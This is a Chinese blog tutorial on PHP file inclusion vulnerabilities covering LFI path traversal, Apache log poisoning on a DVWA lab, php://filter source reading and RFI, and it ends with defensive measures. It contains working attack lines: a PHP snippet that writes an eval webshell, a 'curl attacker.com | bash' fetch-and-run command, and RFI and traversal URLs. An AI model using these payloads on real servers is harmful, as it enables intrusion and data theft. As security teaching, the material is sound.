当前位置: 首页 > news >正文

渗透测试之文件包含漏洞 超详细的文件包含漏洞文章

目录

说明

通常分为两种类型:

本地文件包含

典型的攻击方式1:

影响:

典型的攻击方式2:

包含路径解释:

日志包含漏洞:

操作原理

包含漏洞读取文件 

文件包含漏洞远程代码执行漏洞:

远程文件包含

典型的攻击方式:

影响:

文件包含漏洞的根本原因

语言包含漏洞

PHP文件包含漏洞函数

文件包含漏洞相关的常见 PHP 函数

1. include() 和 require()

2. include_once() 和 require_once()

3. fopen() 和 fread()

4. file_get_contents()

5. readfile()

6. highlight_file()

7. fpassthru()

总结

防御措施

输入验证与过滤:

禁用远程文件包含:

使用绝对路径:

文件包含路径限制:

日志记录与监控:

代码审计与渗透测试:

总结

说明

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为

通常分为两种类型:

  • 本地文件包含(LFI)
  • 远程文件包含(RFI)

本地文件包含

  • LFI 是指攻击者能够包含和执行服务器本地文件系统中的文件

攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。

典型的攻击方式1:

  • 攻击者通过修改 URL 参数来试图包含本地文件
  • 例如:
http://example.com/index.php?page=../../../../etc/passwd
  • 在这个例子中

攻击者试图通过“../../../../etc/passwd”来访问服务器上的 /etc/passwd 文件(Unix/Linux 系统中的一个存储用户账户信息的文件)。

影响:

  • 信息泄露:攻击者能够查看服务器上的敏感文件(如配置文件、日志文件、密码文件等)。
  • 路径遍历攻击:攻击者可以通过构造特殊的路径,访问并查看不应公开的文件。
  • 恶意文件执行:如果不当配置或存在缺陷,攻击者甚至可以包含可执行文件进行代码执行。

典型的攻击方式2:

  • 用户输入控制: 应用程序允许用户通过URL参数或其他输入来指定文件路径。例如:
<?php
include($_GET['page']);
?>

这种代码会根据用户传入的page参数来包含文件。

包含路径解释:

  1. 绝对路径包含

  2. 相对路径包含

  3. 文件穿越漏洞

  4. 包含一些图片吗进行控制 包含敏感文件读取出来

  5. 远程文件包包含,另外一个网站 得文件,其它网站得文件包含进来。

  6. 直接引用别人得网站得图片 前提是看别人开启了相关参数没。


日志包含漏洞:

  • 日志包含漏洞是指攻击者通过注入恶意内容到日志文件中,可能会破坏日志文件的完整性,或通过日志文件将恶意代码执行。
  • 攻击者可以伪造日志,或在日志中插入恶意的HTTP头、SQL注入等攻击代码,进而进行进一步的攻击。

操作原理

  1. 当某个PHP文件存在本地包含漏洞,而却无法上传正常文件.

  2. 这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵.

    1. Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志)。

    2. apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中

    3. 前提开启了日志记录功能 apache 其实还是需要指纹收集收到日志目录的位置

    4. 其实这种方式就是把木马直接写入到日志文件中.

    5. 在访问网站得时候 加入木马程序 也就是在访问程序得时候加入一句话木马相关程序 这样就会写入到程序中去了

    6. 蚁箭 冰蝎 连接程序 Winwos程序中都有一句话木马程序 连接

    7. http://192.168.1.9/dvwa/vulnerabilities/fi/?page=../../../../Apache\logs\access.log 写入后再访问 就可以通过日志进行访问

  • 1浏览器日志 记录可能会编译成url编码

  • 2通过抓包 也就会变成正常得编码记录到日志 然后访问日志目录就可以进入文件包含漏洞进行入侵。

  • 记录下php得一句话木马程序写法
  • 写入一句话木马 通过蚁箭连接不上 换个方式写入php一句话木马
  • <?php $file=fopen('jaden.php','w');fputs($file,'<?php @eval($_POST[666]);?>');?>
  • 数据存在于存在与执行得目录中 jaden.php
  • 问题: 我们在实际操作得时候 如何确定日志是空 如何找到对应日志目录 指纹收集


包含漏洞读取文件 

读取php文件 包含就能读取:

  • 采用得是file:///协议

  • 读取php文件不想执行

  • Php:/// 读取文件 指定php协议来读取协议

    • http://192.168.1.9/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file4.php

    • 以base64得数据格式进行读取出来

  • 通过文件包含漏洞利用 file:// 伪协议读取文件是一种常见的攻击手段,特别是当Web应用程序允许通过用户输入指定文件路径时。
  • 攻击者可以利用这种方式绕过某些安全控制,从而读取本地文件(例如 /etc/passwd 或其他敏感文件),或者执行路径遍历攻击来获取服务器上的敏感信息。
  • file:///etc/passwd

文件包含漏洞远程代码执行漏洞:

  • 文件包含漏洞(File Inclusion Vulnerability)如果结合远程文件包含(Remote File Inclusion, RFI)和不当的配置或攻击者操控的输入
  • 可能导致远程代码执行漏洞(Remote Code Execution, RCE)
  • 在这种情况下,攻击者不仅能读取文件,还能执行恶意代码,导致严重的安全问题。
  • 服务端存在包含漏洞

  • 也就是通过include(php://input) 进行执行而不是用文件进行执行

  • 执行得命令

  • Php://input 执行过程

<?php
system('curl -s http://attacker.com/malicious_script.sh | bash');
?>


远程文件包含

  • RFI 是指攻击者能够通过包含远程的恶意文件来攻击网站

通常情况下,RFI 涉及到文件路径中包含 URL,允许攻击者从外部服务器加载并执行恶意脚本。


典型的攻击方式:

  • 攻击者通过修改 URL 中的参数,将远程服务器上的恶意文件包含到服务器中:
http://example.com/index.php?page=http://evil.com/malicious_script.php
  • 在这个例子中
  • 攻击者试图加载并执行远程服务器上的 malicious_script.php 文件
  • 可能执行恶意操作,比如执行反向 shell、窃取数据、或劫持服务器
    • 比如说我们本地搭建了一个程序 编写了一个webshell,然后通过远程文件包含漏洞访问本地搭建的服务中的webshell文件,实现对肉鸡的控制。

影响:

  • 远程代码执行:攻击者能够远程执行恶意代码,这可能导致服务器完全被控制。
  • 网站篡改:攻击者可能通过上传恶意脚本,篡改网站内容或窃取用户信息。
  • 数据泄露:攻击者可通过包含恶意文件窃取数据库连接信息或其他敏感数据。

文件包含漏洞的根本原因

  1. 用户输入未严格验证:文件路径参数或 URL 没有经过充分的验证和过滤,允许攻击者修改路径。
  2. 不当的文件处理逻辑:代码未对文件包含操作进行适当的权限控制或路径限制,导致攻击者能够访问和执行敏感文件。
  3. 缺乏安全配置:服务器未启用适当的配置,例如禁止远程文件包含(RFI),或没有禁用危险函数(如 include, require, fopen 等)。

语言包含漏洞

  • 包含操作,在大多数Web语言中都会提供的功能

  • 但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状

  • 很多初学者认为包含漏洞只出现PHP任何语言都会存在文件包含的漏洞.

  • 公共代码封装在专门的文件类中 也就是封装的一个概念 引入其它封装的条件

  • Import-python 也就是代码漏洞

  • 针对不同的语言 比如说 go php java python 也就是对应相关的函数


PHP文件包含漏洞函数

  • PHP 作为一种常用的 Web 编程语言,具有一些常用的函数,这些函数可以导致文件包含漏洞,尤其在没有进行严格的输入验证时。

文件包含漏洞相关的常见 PHP 函数

1. include()require()

功能

  • include()require() 用于将文件引入当前 PHP 文件并执行。
  • include() 在文件不可用时会发出警告(warning)
  • require() 会发出致命错误(fatal error)并停止执行。

安全隐患

include($_GET['page']);
// 如果未进行过滤,攻击者可以传递恶意的文件路径,如 '../../etc/passwd'

如果传入的文件路径(参数)未经过严格验证,攻击者可能利用路径遍历(../../)或者远程文件包含攻击,加载敏感文件或远程恶意文件。


2. include_once()require_once()

功能

  • include()require() 相同,但它们确保文件只会被包含一次,避免重复包含文件导致的错误。

安全隐患

  • 如果传入的文件路径不被验证,攻击者依然可以通过路径遍历或远程文件包含攻击来操控文件包含。

3. fopen()fread()

功能

  • fopen() 打开文件,fread() 读取文件内容,通常用于读取文本或二进制文件内容。

安全隐患

$file = fopen($_GET['file'], "r");  // 如果未验证,攻击者可以操控路径读取文件
  • 如果文件路径未经过验证,攻击者可以读取服务器上的敏感文件或恶意文件。

4. file_get_contents()

功能

file_get_contents() 用于读取文件内容并将其作为字符串返回。

安全隐患

$content = file_get_contents($_GET['file']);

如果参数为用户输入的文件路径或 URL,攻击者可以通过路径遍历或远程文件包含攻击来读取本地或远程恶意文件。


5. readfile()

功能

readfile() 输出文件内容到浏览器,通常用于直接输出文件内容。

安全隐患

readfile($_GET['file']);

攻击者可以通过路径遍历攻击或包含远程文件,输出敏感文件内容或恶意代码。


6. highlight_file()

功能

highlight_file() 输出 PHP 源代码并对其进行语法高亮显示。

安全隐患

highlight_file($_GET['file']);

如果没有限制或验证,攻击者可以通过该函数查看服务器上任意 PHP 文件的源代码,可能泄露敏感信息。


7. fpassthru()

功能

fpassthru() 函数读取并直接输出文件的内容,通常与 fopen() 配合使用。

安全隐患

$file = fopen($_GET['file'], "r");
fpassthru($file);

fread()file_get_contents() 类似,如果文件路径未被验证,攻击者可以利用该函数读取并输出敏感文件内容。


总结

PHP 中的文件包含函数(如 include()require()fopen() 等)是文件包含漏洞的核心来源,尤其在未严格验证用户输入时,容易导致路径遍历、远程文件包含(RFI)或本地文件包含(LFI)攻击。防御这种漏洞的关键是:

  • 严格控制文件路径参数的来源和内容;
  • 禁用不必要的功能(如远程文件包含);
  • 采用绝对路径、白名单、权限控制等手段限制文件的访问范围。

防御措施

  1. 输入验证与过滤

    • 对所有用户输入的文件路径参数进行严格的过滤和验证,拒绝任何可能导致路径遍历(如 ../)的输入。
    • 使用白名单机制,限制只能包含特定目录下的文件。
  2. 禁用远程文件包含

    • 在 PHP 中,禁用 allow_url_includeallow_url_fopen,防止包含远程文件。
    • 设置 open_basedir,限制 PHP 程序只能访问特定目录下的文件。
  3. 使用绝对路径

    • 避免使用用户提供的路径参数来构建文件路径。尽量使用固定的路径或基于配置的安全路径。
  4. 文件包含路径限制

    • 使用 basename() 或类似的函数确保包含的文件不会遍历目录结构。
    • 对于包含的文件,最好限定在特定的目录内,避免通过路径构造访问任意文件。
  5. 日志记录与监控

    • 配置 Web 服务器和应用程序进行日志记录,监控异常的文件包含请求。
    • 设置警报机制,及时发现潜在的文件包含攻击。
  6. 代码审计与渗透测试

    • 定期进行代码审计,检查可能存在文件包含漏洞的地方。
    • 使用自动化工具进行渗透测试,模拟文件包含攻击,查找漏洞。

总结

文件包含漏洞是一个相对常见且危险的安全问题,尤其在动态网页系统中,由于代码没有对外部输入进行有效的验证,攻击者可以通过文件包含漏洞来执行恶意代码或泄露敏感数据。防御这种漏洞的关键在于对用户输入的严格验证、文件路径的严格控制以及远程文件包含的禁用。


喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

相关文章:

渗透测试之文件包含漏洞 超详细的文件包含漏洞文章

目录 说明 通常分为两种类型&#xff1a; 本地文件包含 典型的攻击方式1&#xff1a; 影响&#xff1a; 典型的攻击方式2&#xff1a; 包含路径解释&#xff1a; 日志包含漏洞&#xff1a; 操作原理 包含漏洞读取文件 文件包含漏洞远程代码执行漏洞: 远程文件包含…...

Java 大视界 -- Java 大数据在智能医疗影像诊断中的应用(72)

💖亲爱的朋友们,热烈欢迎来到 青云交的博客!能与诸位在此相逢,我倍感荣幸。在这飞速更迭的时代,我们都渴望一方心灵净土,而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识,也期待你毫无保留地分享独特见解,愿我们于此携手成长,共赴新程!💖 一、…...

Web - CSS3浮动定位与背景样式

概述 这篇文章主要介绍了 CSS3 中的浮动定位、背景样式、变形效果等内容。包括 BFC 规范与创建方法、浮动的功能与使用要点、定位的多种方式及特点、边框与圆角的设置、背景的颜色、图片等属性、多种变形效果及 3D 旋转等&#xff0c;还提到了浏览器私有前缀。 BFC规范与浏览…...

ConcurrentHashMap线程安全:分段锁 到 synchronized + CAS

专栏系列文章地址&#xff1a;https://blog.csdn.net/qq_26437925/article/details/145290162 本文目标&#xff1a; 理解ConcurrentHashMap为什么线程安全&#xff1b;ConcurrentHashMap的具体细节还需要进一步研究 目录 ConcurrentHashMap介绍JDK7的分段锁实现JDK8的synchr…...

系统学习算法:专题九 穷举vs暴搜vs深搜vs回溯vs剪枝

其中标题的深搜&#xff0c;回溯&#xff0c;剪枝我们之前专题都已经有过学习和了解&#xff0c;这里多了两个穷举和暴搜&#xff0c;其实意思都差不多&#xff0c;穷举就是穷尽力气将所有情况都列举出来&#xff0c;暴搜就是暴力地去一个一个情况搜索&#xff0c;所以就是全部…...

解决 Pandas DataFrame 索引错误:KeyError:0

在使用 Pandas 处理数据时&#xff0c;KeyError 是一个常见的问题&#xff0c;尤其是在尝试通过索引访问数据时。本文将通过一个实际案例&#xff08;使用SKLearn中的MINIST数据集为例&#xff09;&#xff0c;详细分析 KeyError 的原因&#xff0c;并提供解决方法。 1 问题背…...

deepseek的对话风格

概述 deepseek的对话风格&#xff0c;比一般的模型的回答多了思考过程&#xff0c;这是它比较可爱的地方&#xff0c;模型的回答有了思考过程&#xff0c;对用户而言大模型的回答不完全是一个黑盒。 deepseek的对话风格 train_prompt_style """Below is an…...

制造业设备状态监控与生产优化实战:基于SQL的序列分析与状态机建模

目录 1. 背景与挑战 2. 数据建模与采集 2.1 数据表设计 设备状态表(记录设备实时状态变更)...

Javaweb学习之Mysql(Day5)

(一)Mysql概述 (1)MYSQL通用语法 SQL语句可以单行或多行书写,以分号结尾。 SQL语句可以使用空格/缩进来增强语句的可读性(即,空格和缩进不影响代码的执行)。 MySQL数据库的SQL语句不区分大小写。 注释: 1. 单行注释: -- 注释内容 或 # 注释内容 (MySQL 特有 …...

C++ Primer 迭代器

欢迎阅读我的 【CPrimer】专栏 专栏简介&#xff1a;本专栏主要面向C初学者&#xff0c;解释C的一些基本概念和基础语言特性&#xff0c;涉及C标准库的用法&#xff0c;面向对象特性&#xff0c;泛型特性高级用法。通过使用标准库中定义的抽象设施&#xff0c;使你更加适应高级…...

Java的String与StringBuilder例题

​​ package com.jiachen.StringBuilderDemo1;import java.util.Scanner;public class Exercise2 {public static void main(String[] args) {Scanner scanner new Scanner(System.in);String s scanner.nextLine().trim(); // 读取输入并去除前后空格String result;// 根据…...

Vue.js 如何选择合适的组件库

Vue.js 如何选择合适的组件库 大家在开发 Vue.js 项目的时候&#xff0c;都会面临一个问题&#xff1a;我该选择哪个组件库&#xff1f; 市面上有很多优秀的 Vue 组件库&#xff0c;比如 Element Plus、Vuetify、Quasar 等&#xff0c;它们各有特点。选择合适的组件库&#xf…...

github下载失败网页打开失败 若你已经知道github地址如何cmd下载

直接打开命令行&#xff1a; winr cmd 输入&#xff1a;git clone 地址 eg&#xff1a;git clone https://github.com/akospasztor/stm32f103-dfu-bootloader...

排序算法--计数排序

统计每个元素出现的次数&#xff0c;直接计算元素在有序序列中的位置&#xff0c;要求数据是整数且范围有限。适用于数据为小范围整数&#xff08;如年龄、成绩&#xff09;&#xff0c;数据重复率较高时效率更优。可用于小范围整数排序、基数排序的底层排序(作为基数排序的稳定…...

[特殊字符]const在函数前后的作用详解(附经典案例)

理解const在函数前后的位置差异&#xff0c;是掌握C精髓的重要一步。下面用几个超形象的例子&#xff0c;带你彻底搞懂这个知识点&#xff01; 情况1&#xff1a;const在函数后面&#xff08;成员函数限定符&#xff09; 作用&#xff1a;承诺这个成员函数不会修改对象的状态&…...

【字节青训营-7】:初探 Kitex 字节微服务框架(使用ETCD进行服务注册与发现)

本文目录 一、Kitex概述二、第一个Kitex应用三、IDL四、服务注册与发现 一、Kitex概述 长话短说&#xff0c;就是字节跳动内部的 Golang 微服务 RPC 框架&#xff0c;具有高性能、强可扩展的特点&#xff0c;在字节内部已广泛使用。 如果对微服务性能有要求&#xff0c;又希望…...

给AI用工具的能力——Agent

ReAct框架&#xff1a; Reason Action&#xff0c;推理与行动结合 可以借助思维链&#xff0c;用小样本提示展示给模型一个ReAct框架 推理&#xff1a;针对问题或上一步观察的思考 行动&#xff1a;基于推理&#xff0c;与外部环境的一些交互&#xff08;调用外部工具&…...

Jupyter Lab的使用

Lab与Notebook的区别: Jupyter Lab和Jupyter notebook有什么区别&#xff0c;这里找到一篇博客不过我没细看&#xff0c; Jupyter Lab和Jupyter Notebook的区别 - codersgl - 博客园 使用起来Lab就是一个更齐全、功能更高级的notebook&#xff0c; 启用滚动输出: 有时候一个…...

【从零开始的LeetCode-算法】922. 按奇偶排序数组 II

给定一个非负整数数组 nums&#xff0c; nums 中一半整数是 奇数 &#xff0c;一半整数是 偶数 。 对数组进行排序&#xff0c;以便当 nums[i] 为奇数时&#xff0c;i 也是 奇数 &#xff1b;当 nums[i] 为偶数时&#xff0c; i 也是 偶数 。 你可以返回 任何满足上述条件的…...

RabbitMQ深度探索:前置知识

消息中间件&#xff1a; 消息中间件基于队列模式实现异步 / 同步传输数据作用&#xff1a;可以实现支撑高并发、异步解耦、流量削峰、降低耦合 传统的 HTTP 请求存在的缺点&#xff1a; HTTP 请求基于响应的模型&#xff0c;在高并发的情况下&#xff0c;客户端发送大量的请求…...

idea大量爆红问题解决

问题描述 在学习和工作中&#xff0c;idea是程序员不可缺少的一个工具&#xff0c;但是突然在有些时候就会出现大量爆红的问题&#xff0c;发现无法跳转&#xff0c;无论是关机重启或者是替换root都无法解决 就是如上所展示的问题&#xff0c;但是程序依然可以启动。 问题解决…...

使用VSCode开发Django指南

使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架&#xff0c;专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用&#xff0c;其中包含三个使用通用基本模板的页面。在此…...

C++初阶-list的底层

目录 1.std::list实现的所有代码 2.list的简单介绍 2.1实现list的类 2.2_list_iterator的实现 2.2.1_list_iterator实现的原因和好处 2.2.2_list_iterator实现 2.3_list_node的实现 2.3.1. 避免递归的模板依赖 2.3.2. 内存布局一致性 2.3.3. 类型安全的替代方案 2.3.…...

css实现圆环展示百分比,根据值动态展示所占比例

代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...

蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练

前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1)&#xff1a;从基础到实战的深度解析-CSDN博客&#xff0c;但实际面试中&#xff0c;企业更关注候选人对复杂场景的应对能力&#xff08;如多设备并发扫描、低功耗与高发现率的平衡&#xff09;和前沿技术的…...

ip子接口配置及删除

配置永久生效的子接口&#xff0c;2个IP 都可以登录你这一台服务器。重启不失效。 永久的 [应用] vi /etc/sysconfig/network-scripts/ifcfg-eth0修改文件内内容 TYPE"Ethernet" BOOTPROTO"none" NAME"eth0" DEVICE"eth0" ONBOOT&q…...

LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf

FTP 客服管理系统 实现kefu123登录&#xff0c;不允许匿名访问&#xff0c;kefu只能访问/data/kefu目录&#xff0c;不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

RSS 2025|从说明书学习复杂机器人操作任务:NUS邵林团队提出全新机器人装配技能学习框架Manual2Skill

视觉语言模型&#xff08;Vision-Language Models, VLMs&#xff09;&#xff0c;为真实环境中的机器人操作任务提供了极具潜力的解决方案。 尽管 VLMs 取得了显著进展&#xff0c;机器人仍难以胜任复杂的长时程任务&#xff08;如家具装配&#xff09;&#xff0c;主要受限于人…...

数学建模-滑翔伞伞翼面积的设计,运动状态计算和优化 !

我们考虑滑翔伞的伞翼面积设计问题以及运动状态描述。滑翔伞的性能主要取决于伞翼面积、气动特性以及飞行员的重量。我们的目标是建立数学模型来描述滑翔伞的运动状态,并优化伞翼面积的设计。 一、问题分析 滑翔伞在飞行过程中受到重力、升力和阻力的作用。升力和阻力与伞翼面…...